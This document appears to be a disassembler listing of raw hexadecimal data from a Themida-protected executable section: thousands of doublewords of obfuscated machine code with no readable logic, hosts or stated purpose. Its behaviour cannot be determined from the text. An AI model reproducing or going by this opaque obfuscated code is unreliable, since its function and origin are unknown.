		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 93A2C356h
		dd 15ECE685h, 0DFC4E8Eh, 88h, 0BCDC8060h, 830F60h, 89000000h
		dd 280E4DBDh, 8B616106h, 28071595h, 799D0906h, 8B062801h
		dd 2821BD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 2FDED5A2h, 0C21F4CAEh, 0BD89BDCCh
		dd 6280939h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0FC6A65C3h, 0F43D077h, 587h, 0EB816600h
		dd 0FE85D4Dh, 8B000000h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h
		dd 0CF81678Ch, 29FBB3C1h, 38A0F5Fh, 0F000000h, 0BD83D8BFh
		dd 62825A1h, 82840F00h,	66000000h, 0B87373BFh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A2C35141h
		dd 784F0492h, 0BBFC07C9h, 4A10C19Dh, 4F6E8D8Dh,	6A0628h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0E1FFFEC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	7C35343h, 446DA8B8h, 6E9676Bh, 0F3000000h, 8DAA9417h
		dd 3DBD834Ah, 62811h, 4D3840Fh,	85890000h, 6280329h, 113DBD83h
		dd 0F010628h, 4DB84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0EAE15B28h, 0E8213A2Fh
		dd 11h,	132C7669h, 59725559h, 6E5F6056h, 0CD0F0765h, 0DAB70FF6h
		dd 599D8B5Bh, 83062833h, 28113DBDh, 860F0306h, 456h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DAC35242h, 0F7D619DDh
		dd 0D9BD8BCBh, 0E9062834h, 12h,	0CCC16018h, 0B2BA78CAh
		dd 0C2A5C05Fh, 55B5E78Ah, 6A60B246h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DA15C355h
		dd 3174E8B1h, 8BBF4431h, 280D79BDh, 0D98C6606h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h, 80AE3508h
		dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0CC6D60C3h, 0A0B94136h, 0C90A91C3h, 15F840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0C3B651C3h, 0DD21C14Fh, 0C9858B2Eh, 6A062824h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 2378C353h, 853363EFh, 6282D05h, 57904EB3h
		dd 10E9505Bh, 0D5000000h, 0A55154CDh, 4637899h,	6C97B4FEh
		dd 90D9462Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0B5C35242h, 52F46208h, 816663AFh, 607B46CBh, 23798589h
		dd 0B58B0628h, 62820B1h, 8B006A61h, 282C25BDh, 865D6806h
		dd 481BE5Dh, 0C17DA224h, 57006A41h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0F6442289h, 3880Fh, 8B660000h
		dd 6D95FFD9h, 6A062817h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0EA76C350h,	29768C7Eh
		dd 1465BD8Bh, 85890628h, 62BA3FDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DAC35343h,	0A1EEC590h, 0BA49A49Eh
		dd 16F19D8Bh, 0E7E90628h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 339EC355h
		dd 281F9D9Dh, 0F5858B06h, 6A062BA3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 798AC351h
		dd 1800C743h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 96B9C353h, 118AFCEFh
		dd 6D5379FAh, 0B58BF9FCh, 62BA3F9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 85C35040h, 0C9B58B60h, 6106282Dh
		dd 8BD98B66h, 282B6585h, 2DBD8906h, 89062826h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 7D6D439Bh, 0C2EE143Dh, 0A1BD8Bh, 9D890628h, 6280235h
		dd 24C9858Bh, 8B660628h, 44689DFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4C35747h, 8D060F7Ah, 8B87EB6Eh
		dd 282BB9BDh, 0DA8B9606h, 66525050h, 0F61FDBFh,	28F0F31h
		dd 52000000h, 96585A5Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 9CC35141h, 0A29EF7D3h, 81822F22h, 591E96F7h
		dd 0F5B5FF20h, 6A062BA3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0E87FC356h,	66982142h
		dd 7905FFEBh, 4E8h, 1F03FF00h, 0ABBB6600h, 800F5021h, 3
		dd 8BDA8B66h, 8B042444h, 24448900h, 0DE804h, 0CAE40000h
		dd 54E352E0h, 1699AB9Fh, 5BC15FB9h, 0E7816658h,	858DFCFAh
		dd 62BA3FDh, 0B2EF8166h, 0FA8B9032h, 0FB8B6650h, 0F565790h
		dd 80h,	0FF5F5F00h, 28176D95h, 0BD8B6006h, 62833A1h, 78FAE7BEh
		dd 6A616125h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A465C356h, 7C76390Eh,	26C19589h
		dd 85C70628h, 628113Dh,	3, 19099D89h, 0BD830628h, 62BA3FDh
		dd 33840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 2DBC356h, 0E781667Bh
		dd 26E9FD37h, 50000000h, 1D953360h, 0F8062800h,	30505F61h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0EB802213h, 0CD8D8951h, 80062823h, 0BD83D8DBh
		dd 628113Dh, 9C850F03h,	66000003h, 83BDADBBh, 2BA3FDBDh
		dd 840F0006h, 38Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 91C35242h, 0D6AA2F1Ah, 0BF66B682h, 0B5FF3537h
		dd 62BA3FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	21C35141h, 9D8529EBh, 0FF062811h, 280E9595h, 81665106h
		dd 5BDC35EFh, 0A3F1B58Bh, 0BD33062Bh, 6282495h,	106C7h
		dd 60500001h, 6890Fh, 52500000h, 585A310Fh, 24348961h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F9C35545h
		dd 0D46E0CE8h, 974BF0CAh, 2FB9B529h, 9D030628h,	62804B1h
		dd 0A3FDB5FFh, 6A062Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0B7FE59C3h, 8D89AFFAh, 62807ADh
		dd 201995FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 353130C3h, 8B9168ADh, 2BA3F1B5h
		dd 39958906h, 8B062809h, 2817D585h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 8103B691h
		dd 81FFA065h, 0D98861EFh, 0C4868900h, 8B000000h, 2816559Dh
		dd 8E906h, 11F50000h, 73716EB3h, 958B4A51h, 6280715h, 9153BF66h
		dd 6A04C283h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8932C355h, 6A2050h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0D40877C3h
		dd 858DFA8Bh, 62BB8D9h,	89F9BF0Fh, 0B886h, 29B52900h, 6A062807h
		dd 0FFD98B00h, 2BA3FDB5h, 0E7816606h, 95FFD8F7h, 6282CD1h
		dd 96FA8B66h, 177C4EBBh, 0B4605075h, 61C38BD1h,	319D8996h
		dd 0E9062803h, 6, 0B7102540h, 0B5FF14ECh, 62BA3FDh, 6F93BF66h
		dd 2B45B589h, 95FF0628h, 62829B9h, 0A051E381h, 0BD836234h
		dd 6280C55h, 70840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DD24C353h, 38137D73h,	1C566DF2h
		dd 0EE8h, 3AE10B00h, 363EFCE3h,	91C685B3h, 8B59AA28h, 2814899Dh
		dd 9D8B5B06h, 6282DFDh,	0A3C0CF81h, 66963EE8h, 50358BBBh
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FFE92C54h, 2BA3FDB5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 8595FF5Fh, 6A062822h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 4DEAC357h, 87116172h
		dd 6FCBE9E9h, 6E9h, 4EE29500h, 0FF81CC86h, 2BA3FDB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0AF216343h, 9193CE38h, 95FF7173h, 62810C1h, 2ED58D31h
		dd 0BD830628h, 6281861h, 58840F02h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8BB0C353h, 28125985h, 2830F06h, 52000000h, 0C65Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C0C35343h, 9E6DCA2Bh
		dd 7C13D98h, 0A98D89EBh, 0C7062800h, 28130585h,	6, 0AD950100h
		dd 0E9062825h, 0FFFFF39Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0F0C35343h, 0EF96B96Fh, 1001BD8Bh, 0C18B0628h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E3C35040h
		dd 0A1F4C767h, 66A1ADE4h, 858DFE8Bh, 6282C05h, 17F99D8Bh
		dd 0E9500628h, 7, 0E89B9283h, 89B643CEh, 8B602404h, 282B6D95h
		dd 81665706h, 5AE7E2D1h, 6A006A61h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 43B3C352h
		dd 0EE985h, 105B0000h, 9E99E32Dh, 9618636Ch, 0D92F9F38h
		dd 6AD88Ah, 0B58B5660h,	6282081h, 0D8BF665Eh, 858D61BCh
		dd 62C5642h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	5DC35545h, 8B05C083h, 2803A9BDh, 0E9539006h, 12h
		dd 0CA3EA813h, 0D6BC5402h, 6BFB707Ch, 0FFE1362Ch, 505B0A7Bh
		dd 1432BB66h, 68F0F90h,	8B000000h, 281E49BDh, 6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B07BC350h, 18F0Fh, 6AF80000h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 4E152CA0h, 0F74B3F7h, 0C8Ch,	6890F00h, 29000000h, 2816958Dh
		dd 3195FF06h, 6A062824h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0E040C355h,	8DD165A8h
		dd 2B94F38Dh, 0DE906h, 0FE1F0000h, 8BE4D73Dh, 0E447A33h
		dd 0FF941399h, 55006AD1h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 41BFEF6Fh, 0F05A3E0h
		dd 285h, 83CCB300h, 282415BDh, 850F0106h, 0BBh,	11258589h
		dd 26A0628h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	93C35141h, 898EB0D8h, 2802F1BDh, 9E806h, 30D0000h
		dd 372D5C66h, 0F665812h, 905BF9BFh, 14E9h, 9550E200h, 0E8A2DC5Bh
		dd 0D71B358Fh, 53499F02h, 62C745FDh, 52505089h,	0C8A0Fh
		dd 6E80000h, 6F000000h,	3319A0h, 310F5BFFh, 0F525060h
		dd 0E8585A31h, 5, 0FAAB2A2Bh, 5A615B7Bh, 9D239058h, 6282D4Dh
		dd 2CD195FFh, 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 6A4F86C3h, 33A2E91Eh, 45BD8BE3h
		dd 0E9062823h, 0D6Fh, 0E8h, 0ED815D00h,	62C564Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 79C35040h, 50A3BD68h
		dd 0D761808Ch, 59BD8938h, 89062825h, 2824BD9Dh,	6E806h
		dd 63BF0000h, 0E5A46A3Dh, 5B58B60h, 61062832h, 0B0858D5Fh
		dd 89062B85h, 2817CDB5h, 0BB665006h, 489449Eh, 0DA8B6624h
		dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 60A1C353h, 21A98D29h
		dd 64610628h, 2589h, 880F0000h,	0
		dd 85FFF5B7h, 6281659h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 58C35545h, 0A9896A00h, 0EAAC3E32h, 0DB816650h
		dd 6A5F9F87h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0CDE8F011h, 58B0FA9h, 0BB000000h
		dd 407CD464h, 1321B5FFh, 0FE90628h, 0AE000000h,	0BB43E9D1h
		dd 2574EC17h, 543D3D9Ch, 6E92F41h, 77000000h, 0F8AA31FFh
		dd 0C195FFCCh, 0E906282Dh, 116h, 2C099D09h, 0B00628h, 8565BF66h
		dd 0BF5070E6h, 5D4077B5h, 3171E45Fh, 28038DB5h,	0F613C06h
		dd 0F183h, 0C8B60F00h, 6E9h, 75011500h,	0BAE5AE66h, 6
		dd 8BD8BF0Fh, 2DBD89C1h, 0C1062829h, 666004E8h,	61F484BAh
		dd 89E2F766h, 2827398Dh, 0F8C82B06h, 9589D18Bh,	62817EDh
		dd 18E9h, 12E900h, 5EE70000h, 0EF6E09FBh, 0B28A1FC4h, 7E78CE0Fh
		dd 0CF8663F2h, 21858BF5h, 8B06281Eh, 28026D9Dh,	7C08306h
		dd 1481BD23h, 9D8B0628h, 6281319h, 8B00C083h, 0A99D8BFEh
		dd 3B06282Dh, 14830FD0h, 0F000000h, 382h, 0FE8B6600h, 5DE9h
		dd 58D2900h, 8B062803h,	282BB58Dh, 6D9D8B06h, 83062811h
		dd 840F01E1h, 42h, 3840Fh, 8B660000h, 7E9FBh, 894B0000h
		dd 0ABF5ED68h, 0B5A583FFh, 0FE06282Bh, 6E8CBB66h, 1E219589h
		dd 12E90628h, 6B000000h, 9F52448Eh, 0C1C25299h,	0C603AD5Eh
		dd 0B2EBBBF7h, 0E9A6h, 0B58D0000h, 62BD640h, 201DB589h
		dd 6A0628h, 238D8531h, 95FF0628h, 6280465h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B3C35747h, 0D9BA99B7h
		dd 3E1B531h, 8D290628h,	62820F1h, 81AB9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 18F77DAFh, 898CE43Ah, 2825B98Dh, 0FCE18306h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D5C35141h, 493CB690h
		dd 5C6C9102h, 0D3D380FCh, 0B8h,	0EDBD8B00h, 0BA06280Eh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 56C35646h
		dd 2054D624h, 0E9C34202h, 13h, 0A5B5B76Fh, 54F50C65h, 5C6842D9h
		dd 1686C80Fh, 89744598h, 280FD9BDh, 0C7816606h,	33AD2038h
		dd 3E8D1C2h, 4E983D0h, 9D89F475h, 6281461h, 0D0DF8166h
		dd 0E1BD31CBh, 0D06280Bh, 88h, 0DE9h, 1AC21500h, 0C9873132h
		dd 0A821F2A4h, 14E9DD2Ch, 0BE000000h, 0E8EF42B6h, 721A8292h
		dd 4E6179D8h, 0B771EACBh, 8BDA9997h, 28071595h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 9A314FB3h, 0CB81667Eh, 8D01FCBCh, 6282B11h, 21BD8D8Bh
		dd 57500628h, 0D299D8Bh, 5F5B0628h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 9E2399C3h, 43737B76h
		dd 83FFBF0Fh, 2825A1BDh, 840F0006h, 78h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0CCC35242h, 0F60DE8Bh
		dd 283h, 61D18B00h, 0B8h, 8D8DF800h, 6284F6Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B4C35040h, 0E1FF7BC9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C8C35141h
		dd 5FD6F179h, 0DD025D44h, 113DBD83h, 0F000628h,	43084h
		dd 3DBD8300h, 1062811h,	43E840Fh, 8D0F0000h, 20h, 14E8h
		dd 0C2801700h, 0F442AD17h, 0A99F2272h, 8B9B9378h, 9B3FC7F8h
		dd 39BD8B87h, 5B062825h, 113DBD83h, 0F030628h, 3D586h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0A42D8383h, 8DBF0556h, 66146E21h, 4AB5EB81h
		dd 60F88B66h, 0D9B70F56h, 0D98C665Fh, 0F8C0Fh, 0AE90000h
		dd 3F000000h, 426C8F29h, 0CCC53EFDh, 0CE80Eh, 41A20000h
		dd 559E36Dh, 0CE2E0ED3h, 9D896069h, 628185Dh, 4E1805Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A6C35343h
		dd 6E6C5B85h, 377D6F74h, 6BD780E2h, 0C90A5F50h,	0C3840Fh
		dd 8E90000h, 1E000000h,	63B314B0h, 8BC4A391h, 2824C985h
		dd 79BD8B06h, 3306280Eh, 282D0585h, 7F97BF06h, 66507163h
		dd 892F69BFh, 0CF812404h, 6DB156F5h, 29419D89h,	6A0628h
		dd 97F38166h, 0AC98687Fh, 481A950h, 0CE576724h,	50006A56h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 8B17B017h, 599D8BF5h, 0FF062834h, 28176D95h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0B604DB46h, 3EC648F8h, 5810FD8h, 66000000h, 0E8EF81h
		dd 0A3FD8589h, 0B589062Bh, 6280125h, 0A19D8Bh, 18E90628h
		dd 8B000002h, 280131BDh, 0F5858B06h, 6A062BA3h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0BF6AC353h, 0ADF27852h, 0C739072Fh, 1800h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD299218h, 6283479h, 0A3F9B58Bh, 6A062Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0C51888C3h
		dd 0BE9h, 0E582A00h, 4D7100A5h,	5AE8E707h, 2B65858Bh, 9D8B0628h
		dd 62834B5h, 5E90689h, 4000000h, 5EFFDEA5h, 24C9858Bh
		dd 6A0628h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 8847C9C3h, 35627B57h, 50044689h, 13E9h, 485D5A00h
		dd 893330B5h, 8B5C4480h, 0EB86F72Bh, 0A8C8D1DFh, 89243489h
		dd 2804A9BDh, 0F5B5FF06h, 6A062BA3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 37D3C352h
		dd 0E28CCAE8h, 0CE9DFh,	0AEB90000h, 5A6B99F6h, 72869CF8h
		dd 5E81EACh, 6B000000h,	916E13h, 685F82B7h, 61BA2CF3h
		dd 61616060h, 0C243481h, 6A61A52Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 9978C357h
		dd 524743D5h, 22E19509h, 858D0628h, 62BA3FDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1CC35040h, 0F4D7CD56h
		dd 7FB5B131h, 0A9B501DEh, 50062807h, 8E8h, 84663B00h, 0D044748Dh
		dd 0BE916h, 43E80000h, 0D903CEA8h, 0ED71A0D7h, 4895FC4h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0FE55FDE3h, 0B41A749Bh, 31605793h, 280F818Dh
		dd 4D8D8906h, 61062805h, 176D95FFh, 8B600628h, 2811BD95h
		dd 0CE806h, 227B0000h, 0E4376F0Eh, 0DC3315EBh, 0D5808C1Ah
		dd 61615E67h, 3D85C7FCh, 3062811h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 66E4C355h, 0B9C5C781h, 0A3FDBD83h, 0F00062Bh, 2D84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0DA8B6682h, 0E9DA8B66h, 21h, 0AD33DB81h
		dd 30504FC0h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 6A5F56C0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 57DAC353h, 0F781DB9Dh
		dd 26F75D90h, 113DBD83h, 0F030628h, 43085h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E7FD953Ah, 2DC435FEh, 0A3FDBD83h, 0F00062Bh, 40084h
		db 0
byte_58F2E9	db 0BFh, 0C6h, 0D0h	; DATA XREF: Themida_:0055E74Co
		dd 0B5FF4114h, 62BA3FDh, 10E9h,	29C1400h, 7FDA63E6h, 0D5D31AADh
		dd 0A2E58885h, 9595FF17h, 6A06280Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7960C351h
		dd 9E02A499h, 8A410747h, 0F1B58BFAh, 6A062BA3h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 19C4C352h, 0C77E474Fh, 5A8A3715h, 106C7h, 95010001h
		dd 6280711h, 0B8E0F50h,	0F000000h, 58Ah, 9842BB00h, 34893A48h
		dd 5800F24h, 66000000h,	0E401DF81h, 0A3FDB5FFh,	6A062Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 943161C3h, 5E66A5DCh, 0C850Fh, 840F0000h, 6,	3299BD89h
		dd 95FF0628h, 6282019h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0A1C35040h, 454CDCADh, 455A330h, 298589F8h
		dd 8B062817h, 2BA3F1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 4D7100A5h, 8BE8E707h
		dd 2817D585h, 0F5952906h, 89062833h, 0C486h, 2D59BB00h
		dd 958B37ECh, 6280715h,	68B0Fh,	0BD8B0000h, 6281E49h, 6A04C283h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0C0CEC352h, 507282FAh, 7FC1C585h,	6D99D23h
		dd 50890628h, 0F2BF6620h, 0D9858DC0h, 6A062BB8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0B6C2C355h, 0D509BB66h, 0B88689h, 66600000h,	89C3A1BAh
		dd 282F1195h, 6A6106h, 0B5FFDD8Ah, 62BA3FDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9FC35747h, 651462E8h
		dd 604A9885h, 0A0EDB866h, 19F19503h, 0FF610628h, 282CD195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0E2AF2B23h, 5C276170h, 38A0F9Ch,	66000000h
		dd 0C381DA8Bh, 57F638D2h, 10840F96h, 50000000h,	0E799BF52h
		dd 310F6350h, 1BA6F6BFh, 50585A08h, 0BE86060h, 44000000h
		dd 9DB09DAAh, 4FD2DECEh, 0E95FCD06h, 14h, 9AFEF23Bh, 0FCD08AB5h
		dd 0FA2CAF95h, 29D68356h, 67BFBE0h, 89966161h, 2814719Dh
		dd 0FDB5FF06h, 29062BA3h, 2832E1B5h, 0B995FF06h, 60062829h
		dd 1E51B529h, 0CE8B0628h, 55BD8361h, 6280Ch, 16840Fh, 0CB800000h
		dd 51BB964Fh, 507C2451h, 0FA8B6650h, 8589965Fh,	6280479h
		dd 0A3FDB5FFh, 0E860062Bh, 7, 0BD5DC1B3h, 0E9E919C6h, 11h
		dd 25DF5F57h, 614A0D15h, 0D32499F9h, 0E105B73Fh, 0F2805BECh
		dd 95FF61D2h, 6282285h,	0A3FDB5FFh, 6A062Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 862D45C3h
		dd 0BB78AFE1h, 7CE77571h, 95FFDF8Bh, 62810C1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1EC35646h, 3F3836B5h
		dd 0D63F2CC2h, 2709BD8Bh, 8B0F0628h, 6,	295B529h, 0BD830628h
		dd 6281861h, 5E840F02h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2BD0C355h
		dd 84E00C7Ah, 9D8B25D7h, 62822A5h, 1259858Bh, 6A0628h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B5BF83C3h, 0C94E19Dh, 66E3477Ah, 0FA8BFE8Bh, 8B0000C6h
		dd 585C7DFh, 62813h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 81D9C357h, 0A2941D3h
		dd 0F371E951h, 0BD8BFFFFh, 62819D5h, 85BBC18Bh,	8D787DF5h
		dd 282C0585h, 0BF0F5306h, 51505BDBh, 0B426BF66h, 2404895Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BEC35141h
		dd 0CB80AB8Fh, 0F006A29h, 184h,	6AF800h, 1800Fh, 0E9F90000h
		dd 8, 752C8061h, 0BF2388A3h, 6563858Dh,	6A062Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0FC9A7FC3h, 60FEAA87h, 1AF680F9h, 0D59D2B61h, 83062825h
		dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 9A350CC3h, 0DA8B66BAh, 6A905090h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 7081C356h, 0E04FDCB6h, 0DCCB81A1h, 6A235F9Eh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0B3E9F5FBh, 6A006A1Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 34CEC356h, 2579B589h
		dd 95FF0628h, 6282431h,	31F99D8Bh, 8D8D0628h, 62B94F3h
		dd 1F999D8Bh, 0D1FF0628h, 2415BD83h, 0F010628h,	6785h
		dd 0E1C38100h, 6A71A916h, 56006A02h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 38634CD2h
		dd 0DA876CA2h, 9E8C80Bh, 26000000h, 54581040h, 161C69B2h
		dd 6650905Bh, 6A90FB8Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0FF81C352h,	0D195FFF5h
		dd 0F906282Ch, 0E20E9h,	0E800h,	815D0000h, 2C656DEDh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 95153D04h, 29EA26CEh, 280E2985h, 0DE906h, 3AD00000h
